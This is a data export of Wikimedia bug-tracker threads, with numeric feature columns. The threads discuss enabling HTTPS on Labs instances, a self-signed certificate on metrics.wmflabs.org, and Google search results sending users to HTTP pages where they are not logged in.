https://bugzilla.wikimedia.org/show_bug.cgi?id=48501",Needs Triage,90.0,1378968900,1404230315.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-qa4qlq3om3eeq6hztvty,task_description,resolved,True,c2,3,False,False,False,2,True,0.0,1.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,8.0,1.0,3.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,20.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,8.0,7.0,2.0,2.0,0.0,7.0,0.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,3.8636363636363638,0.625,"We switched to Labs hoping that it would bring us HTTPS, but apparently not.

I created an instance with this enabled:
- role::lamp::labs
- certificates::star_wmflabs_org

But Firefox says ""Unable to connect"": URL

Am I missing something? What should I do to allow visitors to connect via SSL?

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
256232,Enable HTTPS on a Labs instance,"This has been fixed now. If you are using your own instance, use Special:NovaProxy on wikitech to create a https enabled proxy. If you're using toollabs, you already have https.",,,1404230315,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,True,,,43,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,13.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.8947368421052633,0.7894736842105263,"This has been fixed now. If you are using your own instance, use Special:NovaProxy on wikitech to create a https enabled proxy. If you're using toollabs, you already have https."
256228,Enable HTTPS on a Labs instance,"**scott.leea** wrote:

What's the status on this ticket? Is this something I can work on? (I am a new volunteer).",,,1404182317,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,43,True,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.96875,0.78125,"**scott.leea** wrote:

What's the status on this ticket? Is this something I can work on? (I am a new volunteer)."
256223,Enable HTTPS on a Labs instance,"(In reply to comment #9)
> Do you mean you created a ""public_html"" folder in your user home?
> I have no such folder here, so I have put everything in /var/www and it
> mostly
> works (for a few hours before becoming 404, see
> https://bugzilla.wikimedia.org/show_bug.cgi?id=54059 different problem)
> 
> I guess these pages could use more detailed explanations:
> https://wikitech.wikimedia.org/wiki/Help:Lamp_Instance
> https://wikitech.wikimedia.org/wiki/Help:LAMP_issues

No.  It should already be there.  xtools runs on the tools instance.",,,1379590933,,PHID-USER-xkdpe6ltdf3mkphd7xgd,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,27.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,7.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.022727272727273,0.5681818181818182,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No.  It should already be there.  xtools runs on the tools instance."
256217,Enable HTTPS on a Labs instance,"Do you mean you created a ""public_html"" folder in your user home?
I have no such folder here, so I have put everything in /var/www and it mostly works (for a few hours before becoming 404, see https://bugzilla.wikimedia.org/show_bug.cgi?id=54059 different problem)

I guess these pages could use more detailed explanations:
https://wikitech.wikimedia.org/wiki/Help:Lamp_Instance
https://wikitech.wikimedia.org/wiki/Help:LAMP_issues",,,1379590230,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,3,True,2.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,6.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,11.0,6.0,6.0,2.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,3.6307692307692307,0.8,"Do you mean you created a ""public_html"" folder in your user home?
I have no such folder here, so I have put everything in /var/www and it mostly works (for a few hours before becoming 404, see URL different problem)

I guess these pages could use more detailed explanations:
URL
URL"
256213,Enable HTTPS on a Labs instance,"(In reply to comment #7)
> @torty: I would be glad to use the place you mention if someone grants me
> read/write access to it.
> Anywhere is fine as long as it can run our PHP script over HTTPS.
> 
> @Cyberpower678: Interesting! Any idea how they achieved this?
> 
> @Ryan: Any news about the dynamic proxy?

Well I achieved it by simply tossing it into the public_html folder and going to that address with https.  Nothing special to it.",,,1379589549,,PHID-USER-xkdpe6ltdf3mkphd7xgd,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,14.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,8.0,14.0,10.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.489795918367347,0.6530612244897959,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well I achieved it by simply tossing it into the public_html folder and going to that address with https.  Nothing special to it."
256204,Enable HTTPS on a Labs instance,"@torty: I would be glad to use the place you mention if someone grants me read/write access to it.
Anywhere is fine as long as it can run our PHP script over HTTPS.

@Cyberpower678: Interesting! Any idea how they achieved this?

@Ryan: Any news about the dynamic proxy?",,,1379577425,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,3,True,3.0,2.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,10.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,3.0,16.0,3.0,0.0,8.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,11.0,10.0,5.0,3.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.7868852459016393,0.7868852459016393,"SCREEN_NAME: I would be glad to use the place you mention if someone grants me read/write access to it.
Anywhere is fine as long as it can run our PHP script over HTTPS.
SCREEN_NAME: Interesting! Any idea how they achieved this?
SCREEN_NAME: Any news about the dynamic proxy?"
256196,Enable HTTPS on a Labs instance,"**singaporemaps** wrote:

Question: why is a separate instance required? I would have thought that hosting it at a page like tools.wmflabs.org/wikivoyage/poimap would work.",,,1379428579,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,4.71875,0.8125,"**singaporemaps** wrote:

Question: why is a separate instance required? I would have thought that hosting it at a page like tools.wmflabs.org/wikivoyage/poimap would work."
256187,Enable HTTPS on a Labs instance,I'm not sure I understand but https://tools.wmflabs.org/xtools/pcount works just fine.,,,1379420417,,PHID-USER-xkdpe6ltdf3mkphd7xgd,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,0.9166666666666666,I'm not sure I understand but URL works just fine.
256180,Enable HTTPS on a Labs instance,"(In reply to comment #2)
> Also: Marking as major, as it makes Wikivoyage's dynamic maps unusable for
> most users

For the records, this was also discussed in https://de.wikivoyage.org/wiki/Benutzer_Diskussion:Mey2008#PoiMap2.2C_https_and_Firefox_23",,,1379419426,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1739130434782608,0.9130434782608695,"(In reply to comment #2)
QUOTE
QUOTE

For the records, this was also discussed in URL"
256172,Enable HTTPS on a Labs instance,"We have a new dynamic proxy that has HTTPS and also allows you to have a nice DNS name that doesn't include instance-proxy. I'll ping yuvi, who's managing this, tomorrow.",,,1379403127,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,0.0,5.0,0.0,10.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,5.0,0.0,3.0,0.0,0.0,0.0,3.6153846153846154,0.8461538461538461,"We have a new dynamic proxy that has HTTPS and also allows you to have a nice DNS name that doesn't include instance-proxy. I'll ping yuvi, who's managing this, tomorrow."
256165,Enable HTTPS on a Labs instance,"Sam, thanks for confirming the problem!
Could you please switch this report from UNCONFIRMED to CONFIRMED?
Thanks!

Also: Marking as major, as it makes Wikivoyage's dynamic maps unusable for most users (they don't notice the SSL mixed-protocol icon, and just see a blank square where the map should be).",,,1379380254,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,6.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,14.0,2.0,2.0,8.0,0.0,0.0,3.0,0.0,6.0,2.0,0.0,0.0,5.0,9.0,8.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,3.0,0.0,2.0,0.0,3.909090909090909,0.8787878787878788,"Sam, thanks for confirming the problem!
Could you please switch this report from UNCONFIRMED to CONFIRMED?
Thanks!

Also: Marking as major, as it makes Wikivoyage's dynamic maps unusable for most users (they don't notice the SSL mixed-protocol icon, and just see a blank square where the map should be)."
256159,Enable HTTPS on a Labs instance,"Nope, HTTPS is currently unsupported on labs. Work is currently underway to rectify/improve this situation.

Someone who is actually directly involved in making this work should be able to give you a suggested timeframe till it should work.",,,1378969400,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,True,,,2,True,0.0,2.0,0.0,2.0,0.0,7.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,9.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.533333333333333,0.8,"Nope, HTTPS is currently unsupported on labs. Work is currently underway to rectify/improve this situation.

Someone who is actually directly involved in making this work should be able to give you a suggested timeframe till it should work."
55892,metrics.wmflabs.org got an invalid certificate,"metrics.wmflabs.org gebruikt een ongeldig beveiligingscertificaat.

Het certificaat wordt niet vertrouwd, omdat het zelfondertekend is.
Het certificaat is alleen geldig voor wikimetrics.pmtpa.wmflabs

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1378554540,1379365807.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,,False,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_description,resolved,True,c2,3,False,False,True,1,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.75,0.6590909090909091,"metrics.wmflabs.org gebruikt een ongeldig beveiligingscertificaat.

Het certificaat wordt niet vertrouwd, omdat het zelfondertekend is.
Het certificaat is alleen geldig voor wikimetrics.pmtpa.wmflabs

--------------------------
**Version**: unspecified
**Severity**: normal"
245774,metrics.wmflabs.org got an invalid certificate,We are now using a non-self signed certificate.,,,1379365807,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,3.6363636363636362,1.0,We are now using a non-self signed certificate.
245767,metrics.wmflabs.org got an invalid certificate,"Prioritization and scheduling of this bug is tracked on Mingle card
https://mingle.corp.wikimedia.org/projects/analytics/cards/1140",,,1378762595,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6923076923076925,1.0,"Prioritization and scheduling of this bug is tracked on Mingle card
URL"
245759,metrics.wmflabs.org got an invalid certificate,"Prioritization and scheduling of this bug is tracked on Mingle card
https://mingle.corp.wikimedia.org/projects/analytics/1140",,,1378762337,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6923076923076925,1.0,"Prioritization and scheduling of this bug is tracked on Mingle card
URL"
245752,metrics.wmflabs.org got an invalid certificate,Translation of the original bug: metrics.wmflabs.org uses a self-signed certificate which results in a big red scary screen. We should investigate whether it's possible to have non-self signed certificates in Labs.,,,1378680512,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,8.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,4.717948717948718,0.8461538461538461,Translation of the original bug: metrics.wmflabs.org uses a self-signed certificate which results in a big red scary screen. We should investigate whether it's possible to have non-self signed certificates in Labs.
245745,metrics.wmflabs.org got an invalid certificate,"Calm down Ryan, we track the *prioritization and scheduling* of the bug in mingle, not the actual resolution of the bug. I did not file the bug but I will add a translation.",,,1378680428,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,10.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,10.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,0.6923076923076923,"Calm down Ryan, we track the *prioritization and scheduling* of the bug in mingle, not the actual resolution of the bug. I did not file the bug but I will add a translation."
245739,metrics.wmflabs.org got an invalid certificate,"Let me rephrase: This bug contents are not in english (and aren't translated into english), and it's being tracked in a system almost no one can access.",,,1378585685,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,3.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,9.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.7058823529411766,0.8823529411764706,"Let me rephrase: This bug contents are not in english (and aren't translated into english), and it's being tracked in a system almost no one can access."
245733,metrics.wmflabs.org got an invalid certificate,On a mingle card? Are you joking me?,,,1378585622,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,2.9,0.9,On a mingle card? Are you joking me?
245730,metrics.wmflabs.org got an invalid certificate,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/analytics//1140,,,1378556187,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Prioritization and scheduling of this bug is tracked on Mingle card URL
55703,Google points to HTTP articles (where users cannot log in),"**Author:** `winne2i`

**Description:**
After recent changes in HTTP/HTTPS logging in for users there's a problem*.
Google search results point to HTTP versions of articles but users are not logged in while on HTTP. This enforces users to reload page or re-log in.
I see some solution in bug 51002 ?

*)Although this also occured before but user could login via HTTP (and optionally use a DIY script in common.js to redirect to HTTPS).

--------------------------
**Version**: unspecified
